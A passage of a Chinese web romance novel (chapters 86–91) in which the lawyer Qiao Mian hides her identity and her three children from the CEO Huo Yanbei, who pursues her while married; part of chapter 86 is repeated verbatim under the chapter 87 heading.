那端,乔眠没想到陈珂会问请假原因,一时脑热,对着话筒咳嗽了几声,撒谎:“哦……我有点发烧,今天去医院挂了水,现在……在地铁上,准备回家。” “哦,那你注意身体。” 挂完电话后,陈珂看向霍宴北,“霍总,乔律师还真是生病了。” 霍宴北眉头紧拧,沉思良久,忽然拿起外套,抬步朝门外走。 陈珂跟上去,“霍总,您该不是要去看乔律师吧?” 霍宴北脚步一顿,扭头看他一眼,“看望病人应该买点什么?” …… 乔眠下地铁后,买了点菜,刚走进弄堂里,就看到前面围了一堆大爷大妈。 她挤进去一看,就看到霍宴北站在她家楼下的单元门口,身后跟着十来个人,个个手里提着大包小包。 “请问,乔眠是住在这个楼里吗?” 第86章 当众喊他哥哥 霍宴北穿着一身顶级羊绒高定黑色西装,近一米九的身姿,修长挺拔。 配上一张俊美冷艳的脸,不食人间烟火的矜贵气质,出现在老破旧的弄堂里,显得十分格格不入。 尤其是,他询问张婶,她是否住在这栋楼里时的礼貌样子,绅士清冷的贵公子在这一刻彻底具象化。 乔眠怔愣了数秒后,吓得吓死了,低着头,悄咪咪的往人堆里站了站。 他居然找到这里了…… 还搞出这么大场面…… 弄堂里住的不是回迁民,就是外来务工的,此刻,见着一个穿着不俗,风光霁月的一个男人,带着十来个保镖,拎着大包小包的大场面,不禁地纷纷小声议论起来。 “这人是什么大人物啊?看着好有钱的样子。” “长得这么俊,该不是哪个明星吧?” “哎呦,说是找乔眠……乔眠是谁啊?俩人是什么关系啊?” “好像是住在这楼里,带了三个娃的那姑娘吧?” 听着这些窃窃私语,乔眠的心都提到了嗓子眼。 第一反应就是逃。 但是,还没转身,就看到将霍宴北从头到脚打量了一番的张婶,笑吟吟地说:“你找乔眠啊,问我就问对人了,我跟她特别熟,之前还帮她看过孩子呢……” 霍宴北礼貌颔首,“请问,她住在这栋楼吗?” 张婶热心道,“对!乔眠那姑娘就住在这栋楼的七楼,我带你去啊。” 听到这里时,乔眠深吸一口气,抬步走出人群,故作才看见霍宴北似的,“哥哥,你怎么来了?” 张婶可是弄堂里的大喇叭,这要是再聊下去,肯定会把她有三个娃的事情漏了出去。 一直以来,她有意避开慕城和慕野和霍宴北打照面,是因为,两个儿子长得像他。 她唯恐他看出端倪来。 霍宴北听到乔眠唤他‘哥哥’那一刻时,一瞬间怔愣住。 眼神恍惚间,看着眼前的乔眠,仿佛看到了曾经的阿妩。 阿妩曾经一直对外唤他哥哥的。 “你叫我什么?” 男人一脸不敢置信的表情,喉咙干涩又疼,带着一丝轻颤。乔眠走近他,伸手挽住他的胳膊,嗔怪的瞪他一眼,“来之前也不知道打个电话,我住的地方小,走吧,我们去别的地方聊。” 她现在只希望马上拽着他离开这里。 但是,男人胳膊往后一抻,站着不动。 隽鹰般的眼神一瞬不瞬的盯着她。 恰时,张婶吃惊的问了一句,“乔眠,他是你哥哥?” 乔眠皮笑肉不笑的回了一句,“是的,远方过来的一个大表哥。” 末了,注重强调了一下,“亲的。” 听到乔眠这么介绍他时,男人恍惚的情绪一瞬间回归清醒。 张婶笑呵呵道,“原来是亲戚啊,你表哥长得可真贵气。” 乔眠唇角弯出一抹假笑。 张婶和四周看热闹的街坊邻里觉得没什么热闹可看了。 人的本性使然,最爱八卦瞧热闹。 如若不给霍宴北身上打上一个表哥的标签,弄堂里人多口杂,肯定会猜测谣传两人是什么男女关系之类的。 她以后还要在这里继续住下去,可不想日子过得不消停。 重点是,她不希望孩子们听到关于她的一些不干净的谣言。 周围人散去后,乔眠立即将手臂从霍宴北臂弯处抽离,蹙眉问道,“霍总,您怎么来了?” 男人见她变脸比翻书还快,嘲讽地扯了扯嘴角,“你就那么怕被人误会我们的关系?” 刚才,她叫他哥哥时,他差点当真了,还以为她是阿妩…… 没想到,她喊他哥哥,只是为了避嫌。 乔眠后退两步,和他拉开一段距离,“这地方人多嘴杂,霍总是有家室的人,还是堂堂集团总裁,如果被误会拍照传到网上的话,与您或是与我的生活,都是一种困扰。” 她解释的很明白。 霍宴北的脸色仍是有些沉,看了一眼她手里提着一袋子菜时,语气生硬说道,“上楼吧。” 说罢,抬腿就要进单元门。 乔眠急忙拦住他,“霍总,您找我有事吗?在这里说就行。” 男人瞅了一眼身后齐刷刷站成一排的保镖,墨黑的浓眉微微一皱,“你确定要我和他们一直站在这里?” 乔眠抠紧手指,“我家又小又破,还很乱,实在不便招待您。” “被你这么一说,我倒是更好奇了。” 语落,霍宴北径直走进了单元楼。 身后的保镖也跟着一窝蜂走了进去。 乔眠又急又恼,却没有办法。 总不能报警,说他强闯民宅吧…… 虽然她马上就要辞职了,但是,离职之前,还是少惹他为妙。 乔眠看了一眼时间,三点半。 还好,离去幼儿园接孩子还有两小时。 等他上楼后,尽快打发他走就是。 想到这里,乔眠快步跟上去。 走到七楼时,身后跟着的一大串保镖一个个呼哧带喘的。 霍宴北扶着楼梯扶手,呼吸还算平稳。 他伸手接过她手里的袋子,“开门。” 乔眠从包里取出钥匙,打开门之后,不等她说话,男人侧身,越过她,毫不客气的径直走了进去。 紧接着,身后跟着的保镖们一个个鱼贯而入。 把手里的大包小包放在不太宽敞的小客厅里后,自觉闪人了。 霍宴北站在客厅正中央,一眼扫尽整套出租屋。 房屋不大,装修简陋,装饰布置还算温馨。 唯一亮眼的就是干净。 环视完房子后,男人皱了皱眉,顾自在一张小三位沙发上坐下,望了一眼慢吞吞走进来的乔眠,“病好点没?” “什么病……” 乔眠脱口而出后,想到自己之前骗陈珂她是因为生病了才没去公司一事。 想到这里,她做作的扶了一下额头,“哦打了两瓶水,好多了。” 男人盯着她的眼神变得意味深长起来。 将她心虚的微表情尽收眼底。 她分明是在说谎。 不过,他没戳破她,下巴朝茶几上以及地上堆着的大包小包,“这些是给你买的补品,你看够吗?” “太够了……” 乔眠低眉顺眼,“霍总破费了,您买这么多东西,我不好收下。” 第87章 沙发上跟他接吻 但是,男人胳膊往后一抻,站着不动。 隽鹰般的眼神一瞬不瞬的盯着她。 恰时,张婶吃惊的问了一句,“乔眠,他是你哥哥?” 乔眠皮笑肉不笑的回了一句,“是的,远方过来的一个大表哥。” 末了,注重强调了一下,“亲的。” 听到乔眠这么介绍他时,男人恍惚的情绪一瞬间回归清醒。 张婶笑呵呵道,“原来是亲戚啊,你表哥长得可真贵气。” 乔眠唇角弯出一抹假笑。 张婶和四周看热闹的街坊邻里觉得没什么热闹可看了。 人的本性使然,最爱八卦瞧热闹。 如若不给霍宴北身上打上一个表哥的标签,弄堂里人多口杂,肯定会猜测谣传两人是什么男女关系之类的。 她以后还要在这里继续住下去,可不想日子过得不消停。 重点是,她不希望孩子们听到关于她的一些不干净的谣言。 周围人散去后,乔眠立即将手臂从霍宴北臂弯处抽离,蹙眉问道,“霍总,您怎么来了?” 男人见她变脸比翻书还快,嘲讽地扯了扯嘴角,“你就那么怕被人误会我们的关系?” 刚才,她叫他哥哥时,他差点当真了,还以为她是阿妩…… 没想到,她喊他哥哥,只是为了避嫌。 乔眠后退两步,和他拉开一段距离,“这地方人多嘴杂,霍总是有家室的人,还是堂堂集团总裁,如果被误会拍照传到网上的话,与您或是与我的生活,都是一种困扰。” 她解释的很明白。 霍宴北的脸色仍是有些沉,看了一眼她手里提着一袋子菜时,语气生硬说道,“上楼吧。” 说罢,抬腿就要进单元门。 乔眠急忙拦住他,“霍总,您找我有事吗?在这里说就行。” 男人瞅了一眼身后齐刷刷站成一排的保镖,墨黑的浓眉微微一皱,“你确定要我和他们一直站在这里?” 乔眠抠紧手指,“我家又小又破,还很乱,实在不便招待您。” “被你这么一说,我倒是更好奇了。” 语落,霍宴北径直走进了单元楼。 身后的保镖也跟着一窝蜂走了进去。 乔眠又急又恼,却没有办法。 总不能报警,说他强闯民宅吧…… 虽然她马上就要辞职了,但是,离职之前,还是少惹他为妙。 乔眠看了一眼时间,三点半。 还好,离去幼儿园接孩子还有两小时。 等他上楼后,尽快打发他走就是。 想到这里,乔眠快步跟上去。 走到七楼时,身后跟着的一大串保镖一个个呼哧带喘的。 霍宴北扶着楼梯扶手,呼吸还算平稳。 他伸手接过她手里的袋子,“开门。” 乔眠从包里取出钥匙,打开门之后,不等她说话,男人侧身,越过她,毫不客气的径直走了进去。 紧接着,身后跟着的保镖们一个个鱼贯而入。 把手里的大包小包放在不太宽敞的小客厅里后,自觉闪人了。 霍宴北站在客厅正中央,一眼扫尽整套出租屋。 房屋不大,装修简陋,装饰布置还算温馨。 唯一亮眼的就是干净。 环视完房子后,男人皱了皱眉,顾自在一张小三位沙发上坐下,望了一眼慢吞吞走进来的乔眠,“病好点没?” “什么病……” 乔眠脱口而出后,想到自己之前骗陈珂她是因为生病了才没去公司一事。 想到这里,她做作的扶了一下额头,“哦打了两瓶水,好多了。” 男人盯着她的眼神变得意味深长起来。 将她心虚的微表情尽收眼底。 她分明是在说谎。 不过,他没戳破她,下巴朝茶几上以及地上堆着的大包小包,“这些是给你买的补品,你看够吗?” “太够了……” 乔眠低眉顺眼,“霍总破费了,您买这么多东西,我不好收下。” “东西已经放在你家了,不喜欢丢掉就是。” “……” 乔眠大致扫了一眼那些包装袋上的Logo,都是知名品牌。 扔掉太肉疼了。 她自动跳过这个话题,切入主题,“霍总,您找我有事吗?” 男人语气淡冷的从唇齿间溢出三个字,“体恤下属。” 乔眠忍不住怼了一句,“霍氏其他员工病了,霍总也这么关心吗?” 男人起身,高大厚重的阴影盖下来,“不会,你例外。” 他说话时,修长的手指捏起了她的小脸,就像赏玩一件珍品似的,仔细摩挲着。 暧昧又拉扯的氛围弥漫在屋子里各个角落。 乔眠脸颊蓦地一红,推开他的手后,后退一步,跟他拉开安全距离,略有些慌乱的问了一句:“为什么我例外?” 男人弯腰,菲薄的唇覆在她耳边,低声说了一句,“我们是接过吻,睡在一张床的关系,自然不一样。” “你……” 乔眠脸上的红晕瞬间蔓延至脖子根。 她嗔恼的瞪他一眼,开始赶人,“霍总,既然您没有别的事情的话,就请回去吧。” 男人冷笑一声,“刚才不是喊哥哥?这就开始赶人了,乔律师,你就是这么招待哥哥的?” 他一口一个哥哥,语气里透着嘲讽之意。 乔眠抿了抿唇,半响没有吭一声。 一时间,整个小屋陷入死寂般的沉默。 两人对峙了数秒后,乔眠迫于他压迫感十足的气场震慑力,垂下眼眸,再次解释道,“刚才喊你哥哥,是因为……” 话到一半,男人忽然扣住她的细腰,将她扯进怀里,打断她,“再喊声哥哥。” 乔眠吓了一跳,一双小手慌忙推着他沉厚坚实的胸膛,红着脸瞪着他,“霍总,您放开我。” 男人眼眸深邃,灼热的视线落在她晕红的小脸上,嗓音低哑性感,带着一丝蛊惑的命令:“叫哥哥。” 乔眠使劲推了他几次无果后,只得不情不愿的低声唤了一声,“哥哥……” 只是,霍宴北不仅没有松开她,而是直接将她拦腰抱起,坐在了沙发上。 “霍宴北……” 她再次吓了一跳,直接喊出了他的名字。 男人娴熟的顶开她的腿,使得她跨坐在他怀里。 这姿势……暧昧极了。 第88章 照片是谁给她拍的 “真的删了?” 霍宴北试探性询问。 乔眠学着他,试探性反问,“霍总呢,真的把我的视频删了吗?” “乔眠。” 男人粗粝的指腹轻轻摩挲着女人被吻得有些微肿的红唇,“没人敢一二再的威胁我,我希望不会有第三次。” 他始终没有回答她,到底有没有删除她收钱的视频,反而最后一句话,还带着一丝警告意味。 不过,无论他删与不删,已经不重要了。 因为,只要让他相信,她手里握着宋沉的把柄足够了。 虽然,她的确已经把那段举报视频删除了…… “只要霍总不为难我,我哪敢有跟您对着干。” 她不冷不淡的回了一句。 霍宴北轻笑,“小狐狸,你以为可以用宋沉拿捏我?” 乔眠勾唇,“那霍总又以为可以拿我收钱的视频,威胁到我?” 语落,她从男人怀里挣离出来,和他隔着一段距离,坐在旁边,一边整理着之前被扯乱的衣服,一边淡声说道,“霍总,我们摊开来说吧,上次,我受您逼迫,才假意答应留在您身边,我不喜欢您,也不愿意您跟您牵扯在一起,我不过是一个底层小人物,与您根本不是一个世界的人,希望您放过我,行吗?” 听完这番话,霍宴北冷峻的五官瞬间一沉,一把攥住她的手腕,“不喜欢我,不想跟我牵扯在一起,难道你喜欢顾淮年?” 语落,手指揉着女人光裸纤白的手腕,“既然都已经收了顾淮年送的价值十来万的手链,为何不戴呢?” 被他攥得腕骨生疼,乔眠脸色冷下来,用力挣开他的手,生气道:“我收哪个男人的手链,与霍总您无关。” 男人眉头狠狠一拧,“所以,你真的喜欢顾淮年?” 乔眠被问的无语又恼,为了打消他的猜疑,实话实说:“我不喜欢顾淮年,麻烦霍总别总是把我和他扯到一起。” 见她说的斩钉截铁,男人沉冷的脸色才稍微好看一些。 不过,很快就反问了一句,“那周津南呢?” 乔眠觉得他脑回路不正常,愤愤的解释:“我跟周总监只是同事关系。” “单纯只是同事关系的话,你们今天会商量好的一起请假?” “等一下。” 她一脸惊讶,“周总监今天也请假了?” 霍宴北不放过她脸上任何细枝末节的微表情。 她眼神干净纯澈,不像在说谎。 所以,今天她和周津南一起请假,只是巧合吗? 可是,直觉告诉他,周津南对乔眠不怀好意。 正思索时,乔眠问道:“周总监他为什么请假?” 男人面露不悦,“这么关心他?” “同事之间互相关心,不是很正常?” 霍宴北冷着一张脸,语气很差:“你才到霍氏不到一个月,他为什么请假,用得着你去关心?” 乔眠眼神微凝,“霍总,您该不是在吃醋吧……” 霍宴北朝她脑门上敲了一记栗子,薄唇牵起一抹嘲讽的笑意:“乔眠,你未免太高看自己了。” 乔眠冷笑,“既然如此,麻烦霍总以后不要再缠着我不放。” 说罢,起身,走到门口,开始下逐客令,“时间不早了,您请回吧,我还要去幼儿园接孩子。” 霍宴北起身,走到她面前,“我送你。” “不用,谢谢。” 男人蹙了下眉,从口袋掏出一把钥匙递给她:“你住的地方环境不好,这是我给你准备的一套公寓,你搬过去。” 乔眠态度冷淡的将钥匙推还给他,“不劳霍总关心,这地方我住着很习惯。” 霍宴北强行将钥匙放在她手里,“别犟,你不为自己考虑,也得为孩子提供一个好的生活环境,不是吗?” 这句话,就像绵密的针一样,深深地刺痛到她。 这些年,她真的是尽了最大的能力养孩子。 可还是把生活过得很糟糕。 她也想为孩子们提供更好的物质条件,可是,现实是,以她的工资,养一个孩子还好,但是,养三个孩子,等同于一个普通家庭的三倍开销,真的很费钱。 如果不是平时做兼职赚点外快,她跟孩子连温饱都困难。 她窘迫的生活,谁发表意见都可以,可唯独听不得霍宴北没有资格评判。 乔眠再一次将钥匙退还回去:“我的生活过得好与不好,不劳霍总操心。” 说罢,用力将男人推出门外,用力关上了门。 纤弱的身体靠在门板,无力的一点点滑坐下去。 她坐在地上,心里闷闷的疼。 抱着双膝,脸颊埋在腿上,静静地呆坐着。 眼泪从眼角一颗颗漫出来,一点点浸湿了衣裙。 她不知道的是,一门之隔的霍宴北并没有走。 他静静地靠着门板,点了一支烟噙在嘴角,缓慢吐着烟雾。 垂在一侧的手掌,紧紧攥着的钥匙将皮肉硌的生疼。 心里也隐隐泛起一丝酸疼。 他希望乔眠收下他给她的所有好处,只有这样,他才能找理由把她困在身边。 可是,她再一次拒绝了他。 她就那么不喜欢他? 想到这里,胸腔里就像堵了一团棉花,窒息的厉害。 一支烟燃尽,他用手指捻灭烟,将烟蒂丢进楼道垃圾桶后,方才离开。 …… 乔眠亦是听到闹铃响起,才从地上起身,换了一身衣服,出门去幼儿园接孩子。 回来后,孩子们在客厅里玩,她去厨房做饭。 乔慕城拿着手机准备打游戏时,才看到霍叔叔发的一条微信。 【在哪儿。】 毕竟是小孩子,心思不够细致,并没有注意到这条消息发来时的具体时间,不经大脑思考就回了一条消息:【在家。】 霍宴北收到微信时,正坐在书房里,翻看着妹妹霍妩之前上学时的一些课本。 看到乔眠这条迟来的微信时,郁结的心情稍微好一点,饶有兴趣的回复,【在忙什么?】 那边,乔慕城望了一眼在厨房忙碌的妈妈,打开相机,直接拍了一张照片发过去。 霍宴北没想到乔眠给他爆照。 怔怔地看着照片里,乔眠站在狭窄的厨房里忙着做饭的纤细背影时,忽然间察觉出不对劲。 她现在不是正在厨房忙着做饭吗? 那这张照片是谁给她拍的? 第89章 孩子们自爆了 而且,还是一个背影。 想及此,他直接打过去了一个电话。 乔眠正忙着烧菜,看到霍宴北打来电话时,犹豫了几秒后,走到靠窗口的位置,按了接听键。 “霍总,您打电话,是有什么事吗?” 乔眠声音冷淡。 “你现在在做什么?” 那边传来男人低沉的质问声。 乔眠望了一眼锅里快要烧焦的菜,走过去,用锅铲用力搅拌了几下,语气不是很好,“烧菜,霍总,听见了吗?” 说完,直接掐断了电话。 那端,霍宴北脸色黑的能拧出墨汁来。 她居然敢挂他电话…… 不过,听刚才她那边传出抽烟机以及炒菜的动静,确实在烧菜。 那这张照片……是她让孩子帮她拍的? 嗯,应该是。 他刚准备把手机撂下时,微信又弹出一条新的消息。 是乔眠发来的一张做好的饭菜的照片。 餐桌上摆着三菜一汤。 色相精致,看着就美味。 只是—— 霍宴北眼睛突然定住。 为什么餐桌上摆着四只碗,四双筷子? 她家只有她和女儿,不应该摆两双筷子吗? 或许是多拿了? 他猜测。 但是,还是总觉得哪里不对劲。 于是,发微信,直接问道:【你那边几个人一起吃饭?】 乔慕城看到这条微信时,撅了撅小嘴儿,觉得霍叔叔问的问题都好无聊啊,但还是诚实回答:【四个人。】 正在喝茶的霍宴北看到回复时,差点呛了一口。 怎么会是四个人? 乔眠和她女儿,他都见过。 多出来那俩人……是谁? 他问:“今晚有客人在?” 那边,乔慕城趁着妈妈去厨房炒最后一道菜时,把手机递给弟弟妹妹。 “霍叔叔,好啰嗦哦,还是你们跟他聊吧。” 乔慕野刚要伸手接手机时,乔慕心抢先一步拿到手机,“我来!” 乔慕野没跟她争。 乔慕心笨拙的打字回复霍叔叔的上一个问题:【没有客人,你能不能再拍张照片发给我?】 发完消息后,等待对方回复时,乔慕城建议:“我觉得还是把霍叔叔约出来聊更实际一点。” 乔慕野赞同,“到时候我们一起跟霍叔叔面对面,好好聊一聊。” 乔慕心眼睛瞬间一亮,“我也超级想见见霍叔叔,可是,我们什么时候约霍叔叔见面?又约在哪儿见面?” 正思考这个问题时,乔眠端着最后一道菜走过来,招呼孩子们吃饭。 压根不知道孩子们瞒着她做了什么,更不知道,孩子们已经把她卖了。 乔慕城把手机收回口袋后,和弟弟妹妹来到餐桌前坐下时,问了一句,“妈妈,你最近都没有接到很多电话和信息吗?” 征婚APP上的私信都显示999+了,按理说,应该很多人会给妈妈打电话约会的。 可是,妈妈最近除了工作就是工作,一点动静都没有。 他觉得太奇怪了。 此时,乔眠忙着给孩子们盛汤,听到乔慕城没来由一问,忽然想起前些日子,自己经常接到一些陌生电话和骚扰信息,于是,一脸疑惑的看着乔慕城,“慕城,你这么会这么问?” “我……” 乔慕城心虚的抠了抠手指,正想着要不要跟妈妈主动交代时,乔眠脑子一转,想到了什么,问道,“慕城,你肯定又乱用妈妈的身份证注册游戏账号了,要不然前段时间,妈妈怎么会收到那么多垃圾信息?” 说到这里,她顺势就这个问题,跟孩子们认真解释,“有些小游戏不能随便下载哦,个人隐私信息还有手机号很大概率会被泄露出去,不安全哦。” 乔慕城舒了一口气。 原来妈妈说的跟他不是一个频道的事情。 他仰着小脸,好奇道:“可是,妈妈的手机很安静啊。” 乔眠动作轻柔的拨了一把他的小脑袋,“那是妈妈设置了,自动屏蔽陌生号码来电和信息。” 三个孩子听到这个结果后,一个个心虚的耷拉着脑袋。 乔慕心小声跟两个哥哥们抱怨,“原来我们忙了个寂寞啊……” “什么忙了个寂寞?” 乔眠听到了这句话,满眼困惑的瞅着三个小宝。 正准备再次询问时,手机响了。 是阮薇打来的视频电话。 “眠眠,看新闻没?蒋芸那个死女人被拘留一事,刚刚上热搜了!” “这么快被拘留了?” 乔眠有些诧异。 没想到警方速度这么快。 她点开短视频APP,就看到关于蒋芸被拘留一事,已经冲上热搜了。 因为蒋芸之前是混娱乐圈的,关注和讨论度自然很高。 重点是,因着蒋芸是宋蔓的亲小姨,等同于也是霍氏总裁的小姨。 所以,这条新闻现在已经被炒的沸沸扬扬。 而且,新闻还是刚爆出来没多久…… 乔眠盯着这条新闻良久,说了一句,“这个案子警方并没有公开发警情通知,媒体记者是怎么知道的?” 阮薇笑,“这你可得夸我,眠眠,是我把这件事捅给我一个记者朋友的,我就是要让蒋芸那个死女人打小孩子的丑恶嘴脸,接受大家的审判。” 语落,阮薇高兴的笑道,“眠眠,我是不是厉害?你怎么也不夸我啊?” 乔眠听完后,头疼的扶了扶额头,“完了,彻底完了,阮薇姐,你知不知道,你这是把天给捅了个窟窿啊。” 也把她害惨了。 这句话,她没说。 蒋芸被拘留一案,这么负面的影响,势必会影响宋家和霍家的名誉。 甚至影响公司股市也说不定。 况且,霍宴北一定会认为,是她在背后爆出了这条新闻。 不过,这些利弊问题,她怕阮薇害怕,没有跟阮薇说。 阮薇还以为她说的那句话只是吓唬她玩,压根没上心。 之后聊了几句就挂了电话。 …… 而霍宴北那边,此时,盯着乔眠最后发来的‘没有客人’四个字正出神时,书房的门被人敲响。 他收起手机,起身走过去打开门,就看到宋蔓一脸着急的站在门外,“宴北,快看新闻,我小姨被拘留一案上新闻了!” 霍宴北眉头狠狠一拧,还没来得及打开新闻看,陈珂的电话打了进来。 第90章 看着他抱着妻子离开 乔眠这一夜睡得很不踏实。 第二天起了一个大早,把孩子们送到幼儿园之后,原本打算去荣华律所,找韩主任谈离职一事。 但是,想到蒋芸被拘留上新闻热搜一事,和她脱不了关系。 她只能先把离职一事暂缓,应对眼前的事情。 还好,一夜之间,关于蒋芸的热搜以及相关新闻话题被撤了个干净。 能够做到这么彻底的,必定是霍宴北干预的结果。 虽然,热搜压下去了,但是,蒋芸被拘留一案已经闹得人尽皆知。 霍家和宋家名誉受损既成事实。 乔眠一进公司,就听到一些八卦议论声。 “你们看新闻没?咱们霍总的妻子的亲小姨被警方拘留了。” “听说是动手打人家小孩,人家孩子家长报警把她送进去了。” “大人打小孩?也忒恶劣了,要我说啊,就应该被拘留。” “嘘!小声点,那可是霍太太的小姨,听说,霍总为了压下丑闻,昨夜让公关部加了一夜班呢!” “哇哦,霍总好宠妻子啊。” 听着这些议论声,乔眠心情复杂的出了电梯。 刚走进法务部,何眉凑过来,张口也是谈论起这件八卦。 乔眠心不在焉的听着,眼睛时不时地瞟向对面的总裁办公室。 只是,一整个上午,都没有见到霍宴北。 她还特意跑了一趟秘书部,也没有看到陈珂。 她这才知道,霍宴北没在公司。 但是,乔眠心里依旧惴惴不安。 中午,何眉和孟白喊她去餐厅吃饭,她都没心情去。 整个办公区寥无几人时,她去茶水间冲了一杯咖啡。 刚坐下,就看到宋蔓踩着高跟鞋哒哒哒的走了进来。 看到宋蔓时,乔眠条件反射的身体一僵。 高中被她霸凌,后来在霍家,又被打骂的那段至暗回忆,像是过电影似的在脑袋里尽数炸开。 没等她反应过来,宋蔓端起桌上的一杯咖啡,用力泼到了她脸上。 一瞬间,乔眠脸上以及雪白的衬衫沾满了咖啡渍。 紧接着,头顶传来宋蔓不悦的声音。 “乔眠,你可真够歹毒的,害我小姨被拘留就算了,还背地里在网上曝光这件事,现在所有人都在背后戳我们宋家的脊梁骨,就连霍氏的名誉也受到波及。” “为了报复我小姨打你女儿那一巴掌,你用这种卑鄙手段报复,恶不恶心啊?” 听着宋蔓撒完脾气,乔眠抬手,胡乱擦了一把脸上的咖啡,缓缓起身,神色冷静地解释:“霍太太,你小姨上新闻一事,不是我爆料的。” “不是你,还能是谁?” 宋蔓仇恨的瞪着她,“你敢指天发誓,不是你干的?” “不是我。” 乔眠平静回道。 此时,茶水间的门是关着的,只有她和宋蔓两人。 宋蔓平日里的端庄温婉已经不复存在,尤其是看着乔眠那双像极了霍妩的眼睛时,更是窝火,直接上手推了一把:“上次,你害我弟弟差点进去,这次又害我小姨,乔眠,你就是我的克星!” 乔眠被推的一个趔趄,身体撞翻了椅子,差点跌坐在地上。 她太知道宋蔓隐藏起来的阴狠一面,有多么跋扈可怖。 脾气燥,还动辄动手。 毕竟是在公司,乔眠不想跟她起冲突,也知道无论再怎样解释,宋蔓也不会相信。 “霍太太,这件事不是我做的,您不相信,我也没有办法。” 她最后一次解释完,绕过宋蔓就走。 只是,刚走到门口,就被宋蔓一把扯住胳膊,“你做了这么恶毒的事情,轻飘飘一句话就想糊弄过去?” 乔眠面色如常,“霍太太,你想怎么样?” 宋蔓:“想让我放过你,你现在就跟我去警局撤案,只要小姨放出来,这件事我就不跟你计较了。” 乔眠这才明白,宋蔓分明是借题发挥,目的是逼她撤案。 “撤案,不可能。” 乔眠态度坚决。 宋蔓火大的瞪着她,“好啊,既然你做事不留余地,那么也别怪我不客气。” “……” 乔眠冷笑。 宋蔓和六年前一样,一点都没有变。 外表温柔大方的名媛千金形象,内里却自私阴鸷。 但凡谁惹她不快,必定会报复回来。 这一点,她六年前就领教的很彻底。 就在她挣开宋蔓,转身准备走时,宋蔓再次扯住她的手腕,还要跟她理论。 乔眠烦躁的用力甩开。 可能是用力过度,宋蔓身体后仰,跌倒在了地上。 脑袋直直的磕到了桌角。 宋蔓疼得叫了一声。 伸手摸了下额头,看到指尖染着鲜血时,更是惊恐的喊叫了一声。 乔眠没想到宋蔓这么弱不禁风。 就在她准备扶她时,茶水间的门忽然被人从外面踢开。 紧接着,乔眠就看到霍宴北面色焦急的冲进来,快步走到宋蔓身前。 弯下身体,一把将宋蔓从地上抱了起来。 “宴北,好疼……” 宋蔓抖着身体,刚说完这句话,脸色惨白的晕了过去。 乔眠恍然想起什么,问道,“霍总,她晕血吗?” 霍宴北抱着宋蔓走到她面前,目光森冷的凝视着她,“乔眠,你碰到我的底线了。” 冷冷说完后,男人撞开她,径直出了茶水间。 乔眠呆愣的站在原地。 身体隐隐打颤,扶着墙壁才堪堪站稳。 底线…… 是啊,宋蔓是他霍宴北的底线呢。 可是,他既然这么重视自己的妻子,又为何要招惹她? 大概,就和六年前一样,她只是他新鲜的玩宠罢了。 想到这里,她凄冷的笑了。 最后,趴在桌子上,笑出了眼泪。 不知呆坐了多久,茶水间的门被人推开。 她恍若未闻。 直到一个粉色饭盒放在了她面前。 “吃点东西吧。” 头顶传来男人温润好听的声音时,乔眠抬头望去。 是周津南。 或许是心里太委屈,又或许是在最孤独难受的时候,看到曾经在她黑暗的人生中,给予她光亮的人,乔眠心里的委屈一瞬间拉到最满。 她不想再装下去了,看着周津南苦涩一笑,“周津南,六年前的我,和六年后的我,是不是一样很窝囊?” 第91章 死都要死在他身边 周津南没想到她会主动承认身份。 也在这一刻,恍然道,“原来,你早知道我知道了你是秦妩。” 语落,他从口袋掏出一方手帕递到她面前,“擦擦吧。” “谢谢。” 乔眠接过手帕,擦干净脸后,周津南脱掉身上的外套罩在她肩上后,打开饭盒,推到她面前,“只有填饱肚子,才有精神面对一切,不是吗?” 乔眠望着饭盒里飘着香味的饭菜,直接伸手抓起来塞进嘴里。 周津南想要伸手阻止时,却又停了下来。 他静静地看着她,“高中时,你每次被同学欺负受尽委屈时,就会疯狂的吃东西,没想到这么多年过去了,那些阴影在你心里还是没有消除。” 乔眠艰难的咽下饭菜,又克制不住的抓了一把塞进嘴里。 直到呛到脸颊通红时,周津南一把握住她的手,“秦妩,这六年,你过得很艰辛吧……” 乔眠抬眸,哽咽一声,“很难,但是我挺过来了。” 说到这里,她笑着问他,“周津南,这些年,你过得好吗?” 周津南温润的笑笑,“还活着而已。” 乔眠弯了下唇,“既然第一次见面就认出我了,为何后来一直没有戳穿我?” 周津南眉目温和:“你改名换姓,就是为了躲霍宴北,我又何必说破,给你徒增心理负担呢?” “谢谢。” 她笑了一下,笑意却不达眼底。 “我们是老同学了,不必跟我太客气。” 说着,拉着她起身,走到洗手池前,打开水龙头,准备给她洗手时,乔眠将手抽离。 周津南没说话,站在一旁,看着她挤出洗手液,搓洗干净手后,及时抽出纸巾递给她。 “想过离开霍氏吗?” 他问。 乔眠毫不犹豫的回道,“想,我比任何人都想离开霍氏。” 周津南仿佛吃了一颗定心丸,刚想说什么时,茶水间的门再次被人推开。 乔眠扭头一看,就看到霍宴北冷着一张脸站在门口。 他眼神冰冷,目光锋锐的落在几乎挨在一起站着的乔眠和周津南。 “霍总……” 周津南颔首,打了一声招呼。 乔眠也低声唤了一句。 霍宴北声音比脸还要冷,“乔律师,跟我办公室来一趟。” 语落,转身,迈着阔步离开了。 乔眠叹了一声,扭头看向周津南,“我先过去了,我们有时间再聊。” 说完,准备离开时,周津南伸手圈住了她的手腕,“秦妩,无论遇到什么困难,我都会帮你。” 乔眠莞尔,说了一声谢谢后,转身离开了。 来到总裁办公室后,霍宴北正站在落地窗前吞云吐雾。 看到她进来,身上还披着一件男士外套时,原本严肃的一张脸瞬间沉冷无比。 他抬步走到她面前,伸手一拨,将她肩上的外套挥到了地上。 “这次,闹出这么大的乱子,你就没什么要跟我解释的?” 乔眠乖顺站姿,双手垂在身侧,紧紧扣着裤缝,反问道,“如果我说,蒋芸上热搜一事,不是我做的,霍总,您信吗?” 霍宴北皱了皱眉,静静地望着良久,说道,“蒋芸打了你女儿,但是,现在被拘留,已经受到了惩戒,乔眠,别把事情做的太绝,小心引火烧身。” 这番话,已经明确表示,他根本不相信她。 罢了,反正她就是解释明白了,一旦他派人调查,就会查到是阮薇把这件事爆料给了媒体记者。 不,她不能让阮薇牵扯进来。 既然他不信她,她还不如默认了。 顺便接着这件事情,离开霍氏。 想到这里,她说道,“霍总,这件事就是我做的,造成的影响我一力承担,我会申请回原单位,以后绝不再碍你的眼。” 霍宴北听她忽然又担下了此事,还要自请离开霍氏时,脸色一瞬间阴沉下来,“乔律师,你给整个霍氏造成这么大的影响,就是赔上你们整个荣华律所,也弥补不了这个损失,惹了麻烦就想走?” 乔眠蹙眉,“霍总,您叫我来,不就是为了追责吗?” 霍宴北走到她面前,一把握住她的腰,反身将人抵在办公桌上。 